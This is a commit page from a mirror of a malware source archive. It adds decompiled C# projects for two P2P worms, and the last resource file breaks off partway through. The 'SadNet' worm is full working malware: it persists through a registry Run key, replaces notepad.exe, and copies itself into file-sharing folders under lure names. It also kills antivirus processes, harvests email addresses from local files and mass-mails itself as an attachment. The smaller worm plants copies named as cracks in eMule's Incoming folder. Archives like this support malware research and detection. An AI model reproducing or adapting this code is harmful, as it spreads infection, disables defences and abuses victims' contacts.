mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
auto-decompiled msil via petikvx
add
This commit is contained in:
vxunderground
+13
@@ -0,0 +1,13 @@
|
||||
using System.Reflection;
|
||||
|
||||
[assembly: AssemblyCopyright("")]
|
||||
[assembly: AssemblyKeyFile("")]
|
||||
[assembly: AssemblyDelaySign(false)]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyKeyName("")]
|
||||
[assembly: AssemblyProduct("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyTitle("")]
|
||||
[assembly: AssemblyVersion("1.0.1397.42263")]
|
||||
+42
@@ -0,0 +1,42 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication1.Form1
|
||||
// Assembly: WindowsApplication1, Version=1.0.1397.42263, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: AFD50EA1-B36A-4E16-9DBC-77E7D8FDC9A1
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\P2P-Worm.Win32.Secorm-66106dc8b8fbe05f679ce87d7a4bae2d1661e4c1dc62f380accd3cbeaaed1ad6.exe
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace WindowsApplication1
|
||||
{
|
||||
public class Form1 : Form
|
||||
{
|
||||
[STAThread]
|
||||
private static void Main()
|
||||
{
|
||||
string destFileName1 = "C:\\Program Files\\eMule\\Incoming\\Teen Sex.exe";
|
||||
if (Application.ExecutablePath != destFileName1)
|
||||
File.Copy(Application.ExecutablePath, destFileName1, true);
|
||||
string destFileName2 = "C:\\Program Files\\eMule\\Incoming\\AVP Crack.exe";
|
||||
if (Application.ExecutablePath != destFileName2)
|
||||
File.Copy(Application.ExecutablePath, destFileName2, true);
|
||||
string destFileName3 = "C:\\Program Files\\eMule\\Incoming\\Panda Antivirus Crack.exe";
|
||||
if (Application.ExecutablePath != destFileName3)
|
||||
File.Copy(Application.ExecutablePath, destFileName3, true);
|
||||
string destFileName4 = "C:\\Program Files\\eMule\\Incoming\\Hotmail Hack.exe";
|
||||
if (Application.ExecutablePath != destFileName4)
|
||||
File.Copy(Application.ExecutablePath, destFileName4, true);
|
||||
string destFileName5 = "C:\\Program Files\\eMule\\Incoming\\Yahoo Hack.exe";
|
||||
if (Application.ExecutablePath != destFileName5)
|
||||
File.Copy(Application.ExecutablePath, destFileName5, true);
|
||||
string destFileName6 = "C:\\Program Files\\eMule\\Incoming\\Commandos 3 Crack.exe";
|
||||
if (Application.ExecutablePath != destFileName6)
|
||||
File.Copy(Application.ExecutablePath, destFileName6, true);
|
||||
string destFileName7 = "C:\\Program Files\\eMule\\Incoming\\Zone Alarm Pro Crack.exe";
|
||||
if (!(Application.ExecutablePath != destFileName7))
|
||||
return;
|
||||
File.Copy(Application.ExecutablePath, destFileName7, true);
|
||||
}
|
||||
}
|
||||
}
|
||||
+123
@@ -0,0 +1,123 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<data name="$this.Name" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>BUZvcm0x</value>
|
||||
</data>
|
||||
</root>
|
||||
+43
@@ -0,0 +1,43 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\P2P-Worm.Win32.Secorm-66106dc8b8fbe05f679ce87d7a4bae2d1661e4c1dc62f380accd3cbeaaed1ad6.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{B7BD5C1B-AFB6-43C6-8F63-7FD475FCB6C1}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>WindowsApplication1</AssemblyName>
|
||||
<ApplicationVersion>1.0.1397.42263</ApplicationVersion>
|
||||
<RootNamespace>WindowsApplication1</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Form1.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Form1.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "WindowsApplication1", "P2P-Worm.Win32.Secorm-66106dc8b8fbe05f679ce87d7a4bae2d1661e4c1dc62f380accd3cbeaaed1ad6.csproj", "{B7BD5C1B-AFB6-43C6-8F63-7FD475FCB6C1}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{B7BD5C1B-AFB6-43C6-8F63-7FD475FCB6C1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{B7BD5C1B-AFB6-43C6-8F63-7FD475FCB6C1}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{B7BD5C1B-AFB6-43C6-8F63-7FD475FCB6C1}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{B7BD5C1B-AFB6-43C6-8F63-7FD475FCB6C1}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+14
@@ -0,0 +1,14 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyProduct("SadNet")]
|
||||
[assembly: AssemblyCompany("civil")]
|
||||
[assembly: Guid("9bf87720-9855-4a4e-9e7e-e3e5ea68a686")]
|
||||
[assembly: AssemblyCopyright("Copyright © civil 2006")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyTitle("SadNet")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
+348
@@ -0,0 +1,348 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SadNet.Form1
|
||||
// Assembly: SadNet, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 7CA2C9C9-C782-4D2C-95AC-6004CBF68D8D
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\P2P-Worm.Win32.Small.v-e11f1e1c2820f02fe46d7297e75a556346d661ee4bc64e6f222c74d56cf83bfd.exe
|
||||
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Web.Mail;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace SadNet
|
||||
{
|
||||
public class Form1 : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private Timer mailer;
|
||||
private Timer killer;
|
||||
|
||||
public Form1() => this.InitializeComponent();
|
||||
|
||||
private void mailer_Tick(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
string str1 = new string[20]
|
||||
{
|
||||
"mcafee",
|
||||
"symantec",
|
||||
"Yahoo!",
|
||||
"Thank you!",
|
||||
"Text message",
|
||||
"Document",
|
||||
"Incoming Message ",
|
||||
"Message Notify ",
|
||||
"Fax Message",
|
||||
"Protected message",
|
||||
"panda",
|
||||
"Encrypted document",
|
||||
"Account notify",
|
||||
"E-mail account disabling warning",
|
||||
"E-mail technical support message.",
|
||||
"E-mail warning",
|
||||
"Email account utilization warning.",
|
||||
"Fax Message Received ",
|
||||
"Forum notify ",
|
||||
"do you know AmirCivil?"
|
||||
}[new Random().Next(0, 20)];
|
||||
string str2 = new string[5]
|
||||
{
|
||||
"AmirCivil.pic.cmd",
|
||||
"register.pif ",
|
||||
"sexy-screensaver.scr ",
|
||||
"fullmessenger.exe",
|
||||
"readme.html.cmd"
|
||||
}[new Random().Next(0, 5)];
|
||||
string str3 = new string[20]
|
||||
{
|
||||
"Deliver Error",
|
||||
"Message Error",
|
||||
"help attached ",
|
||||
"such as yours",
|
||||
"illegal st. of you?",
|
||||
"is that your name? ",
|
||||
"picture? ",
|
||||
"abuse? ",
|
||||
"is that yours? ",
|
||||
"I have your password! ",
|
||||
"classroom test of you? ",
|
||||
"old photos about you? ",
|
||||
"i hope thats not true! ",
|
||||
"does it match? ",
|
||||
" you know amir_civil?!",
|
||||
"why should I? ",
|
||||
"another pic, have fun! ... :->",
|
||||
"xxx ? ",
|
||||
"the information is wrong! ",
|
||||
"love letter? "
|
||||
}[new Random().Next(0, 20)];
|
||||
string searchPattern = new string[2]
|
||||
{
|
||||
"*txt",
|
||||
"*html"
|
||||
}[new Random().Next(0, 2)];
|
||||
string str4 = new string[20]
|
||||
{
|
||||
"mcafee@yahoo.com",
|
||||
"symantec@yahoo.com",
|
||||
"nod32@yahoo.com",
|
||||
"panda@yahoo.com",
|
||||
"avg@yahoo.com",
|
||||
"antiblaster@yahoo.com",
|
||||
"info@yahoo.com",
|
||||
"ebook@yahoo.com",
|
||||
"LongShot@yahoo.com",
|
||||
"iraq@yahoo.com",
|
||||
"update@yahoo.com",
|
||||
"matt@yahoo.com",
|
||||
"steve@yahoo.com",
|
||||
"smith@yahoo.com",
|
||||
"stan@yahoo.com",
|
||||
"bill@yahoo.com",
|
||||
"bob@yahoo.com",
|
||||
"YourFriend@yahoo.com",
|
||||
" mail@yahoo.com",
|
||||
"ted@yahoo.com"
|
||||
}[new Random().Next(0, 20)];
|
||||
string path = new string[5]
|
||||
{
|
||||
"C:\\",
|
||||
"D:\\",
|
||||
"E:\\",
|
||||
"G:\\",
|
||||
"F:\\"
|
||||
}[new Random().Next(0, 5)];
|
||||
for (int index = 0; index < 10; ++index)
|
||||
{
|
||||
try
|
||||
{
|
||||
string[] strArray = new string[3]
|
||||
{
|
||||
"C:\\dir1",
|
||||
"D:\\",
|
||||
"C:\\windows"
|
||||
};
|
||||
foreach (string str5 in strArray)
|
||||
{
|
||||
foreach (string file in Directory.GetFiles(path, searchPattern))
|
||||
{
|
||||
Regex regex = new Regex("[a-zA-Z0-9-_.-]+@[a-zA-Z0-9-_.-]+\\.[a-zA-Z0-9]+");
|
||||
FileStream fileStream = new FileStream(file, FileMode.Open, FileAccess.Read);
|
||||
byte[] numArray = new byte[fileStream.Length];
|
||||
fileStream.Read(numArray, 0, (int) fileStream.Length);
|
||||
fileStream.Close();
|
||||
foreach (Match match in regex.Matches(Encoding.ASCII.GetString(numArray)))
|
||||
{
|
||||
string str6 = match.ToString();
|
||||
try
|
||||
{
|
||||
MailMessage message = new MailMessage();
|
||||
message.From = str4;
|
||||
message.To = str6;
|
||||
message.Cc = "info@yahoo.com";
|
||||
message.Bcc = "password@yahoo.com";
|
||||
message.Subject = str1;
|
||||
message.Body = str3;
|
||||
SmtpMail.SmtpServer = "mx4.mail.yahoo.com";
|
||||
message.Attachments.Add((object) new MailAttachment(Application.ExecutablePath, MailEncoding.Base64));
|
||||
SmtpMail.Send(message);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void killer_Tick(object sender, EventArgs e)
|
||||
{
|
||||
string[] strArray = new string[56]
|
||||
{
|
||||
"NPROTECTED",
|
||||
"GhostTray",
|
||||
"NAVW32",
|
||||
"F-AGNT95",
|
||||
"NOD32",
|
||||
"NETD32",
|
||||
"NETMON",
|
||||
"IOMON98",
|
||||
"SCAN32",
|
||||
"NORMIST",
|
||||
"NAVW3",
|
||||
"ADAWARE",
|
||||
"AGENTW",
|
||||
"LU32",
|
||||
"NAVAP32",
|
||||
"ANTIVIR",
|
||||
"TCM",
|
||||
"W9X",
|
||||
"AVKSERV",
|
||||
"winamp",
|
||||
"ACKWIN32",
|
||||
"AD-AWARE",
|
||||
"ADVXDWIN",
|
||||
"AGENTSVR",
|
||||
"AGENTW",
|
||||
"ANTIVIRUS",
|
||||
"ANTS",
|
||||
"APIMONITOR",
|
||||
"APLICA32",
|
||||
"ARR",
|
||||
"AUPDATE",
|
||||
"AUTODOWN",
|
||||
"AUTOTRACE",
|
||||
"AVE32",
|
||||
"AVGCC32",
|
||||
"AVGCTRL",
|
||||
"AVGNT",
|
||||
"CFINET",
|
||||
"CLEANPC",
|
||||
"CTRL",
|
||||
"AV32",
|
||||
"DATEMANAGER ",
|
||||
"DOORS",
|
||||
"DPFSETUP ",
|
||||
"FCH32 ",
|
||||
"FNRB32",
|
||||
"notepad",
|
||||
"killer",
|
||||
"POP3TRAP",
|
||||
"remind",
|
||||
"cftmon",
|
||||
"msmsgs",
|
||||
"taskmgr",
|
||||
"regedit",
|
||||
"vb6",
|
||||
"ZONEALARM"
|
||||
};
|
||||
foreach (Process process in Process.GetProcessesByName(strArray[new Random().Next(0, 56)]))
|
||||
process.CloseMainWindow();
|
||||
}
|
||||
|
||||
private void hidden_Tick(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void error_Tick(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void copy_Tick(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void amir(object sender, EventArgs e)
|
||||
{
|
||||
this.Hide();
|
||||
try
|
||||
{
|
||||
File.Copy(Application.ExecutablePath, Environment.SystemDirectory + "\\winlogon.cab.exe");
|
||||
Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "SadNet", (object) (Environment.SystemDirectory + "\\winlogon.cab.exe"), RegistryValueKind.ExpandString);
|
||||
Registry.SetValue("HKEY_CURRENT_USER\\SadNet", "SadNet", (object) "(_-oO]xX|-|S|-|a|-|d|-|N|-|e|-|t|-|Xx[Oo-_)!", RegistryValueKind.ExpandString);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
File.Move(Environment.SystemDirectory + "\\notepad.exe", Environment.SystemDirectory + "\\AmirCivil.exe");
|
||||
File.Copy(Application.ExecutablePath, Environment.SystemDirectory + "\\notepad.exe");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
File.Copy(Application.ExecutablePath, "C:\\symantec.exe");
|
||||
File.Copy(Application.ExecutablePath, "D:\\fun.pic.scr");
|
||||
File.Copy(Application.ExecutablePath, "E:\\wow.pif");
|
||||
File.Copy(Application.ExecutablePath, "F:\\mail.cmd");
|
||||
File.Copy(Application.ExecutablePath, "C:\\Program Files\\Kazaa\\My Shared Folder\\winampa.dll.pif");
|
||||
File.Copy(Application.ExecutablePath, "C:\\Program Files\\StreamCast\\Morpheus\\My Shared Folder\\winampa.dll.pif");
|
||||
File.Copy(Application.ExecutablePath, "C:\\Program Files\\Gnucleus\\Downloads\\AnyDVD.v6.0.0.4.Cracked-RES.by.Warez.exe");
|
||||
File.Copy(Application.ExecutablePath, "C:\\Program Files\\eMule\\Incoming\\symantec.cmd");
|
||||
File.Copy(Application.ExecutablePath, "D:\\Program Files\\Kazaa\\My Shared Folder\\winampa.dll.pif");
|
||||
File.Copy(Application.ExecutablePath, "D:\\Program Files\\StreamCast\\Morpheus\\My Shared Folder\\winampa.dll.pif");
|
||||
File.Copy(Application.ExecutablePath, "D:\\Program Files\\Gnucleus\\Downloads\\AnyDVD.v6.0.0.4.Cracked-RES.by.Warez.exe");
|
||||
File.Copy(Application.ExecutablePath, "D:\\Program Files\\eMule\\Incoming\\symantec.cmd");
|
||||
File.Copy(Application.ExecutablePath, "E:\\Program Files\\Kazaa\\My Shared Folder\\winampa2.dll.pif");
|
||||
File.Copy(Application.ExecutablePath, "E:\\Program Files\\StreamCast\\Morpheus\\My Shared Folder\\winampa.dll.pif");
|
||||
File.Copy(Application.ExecutablePath, "E:\\Program Files\\Gnucleus\\Downloads\\AnyDVD.v6.0.0.4.Cracked-RES.by.Warez.exe");
|
||||
File.Copy(Application.ExecutablePath, "E:\\Program Files\\eMule\\Incoming\\symantec.cmd");
|
||||
File.Copy(Application.ExecutablePath, "C:\\Program Files\\Kazaa\\My Shared Folder\\winampa.dll.pif");
|
||||
File.Copy(Application.ExecutablePath, "D:\\Program Files\\Kazaa\\My Shared Folder\\project.exe");
|
||||
File.Copy(Application.ExecutablePath, "J:\\Program Files\\Kazaa\\My Shared Folder\\SkyNetAntiVirus.doc.cmd");
|
||||
File.Copy(Application.ExecutablePath, "E:\\Program Files\\Kazaa\\My Shared Folder\\screen_saver!.scr");
|
||||
File.Copy(Application.ExecutablePath, "F:\\Program Files\\Kazaa\\My Shared Folder\\winlogon.dll.exe");
|
||||
File.Copy(Application.ExecutablePath, "H:\\Program Files\\Kazaa\\My Shared Folder\\fun.pic.scr");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
api.ShowWindow(api.FindWindow("ConsoleWindowClass", (string) null), 0);
|
||||
api.ShowWindow(api.FindWindow("#32770", (string) null), 0);
|
||||
api.ShowWindow(api.FindWindow("MGHTML_DLG_CLASS", (string) null), 0);
|
||||
api.ShowWindow(api.FindWindow("NAVAP Wnd Clas", (string) null), 0);
|
||||
api.ShowWindow(api.FindWindow("RegEdit_RegEdit", (string) null), 0);
|
||||
api.ShowWindow(api.FindWindow("notepad", (string) null), 0);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void hien_Tick(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void mail2_Tick(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new Container();
|
||||
this.mailer = new Timer(this.components);
|
||||
this.killer = new Timer(this.components);
|
||||
this.SuspendLayout();
|
||||
this.mailer.Enabled = true;
|
||||
this.mailer.Interval = 30000;
|
||||
this.mailer.Tick += new EventHandler(this.mailer_Tick);
|
||||
this.killer.Enabled = true;
|
||||
this.killer.Tick += new EventHandler(this.killer_Tick);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(292, 266);
|
||||
this.Name = nameof (Form1);
|
||||
this.Text = "SadNet";
|
||||
this.Activated += new EventHandler(this.amir);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
}
|
||||
+120
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
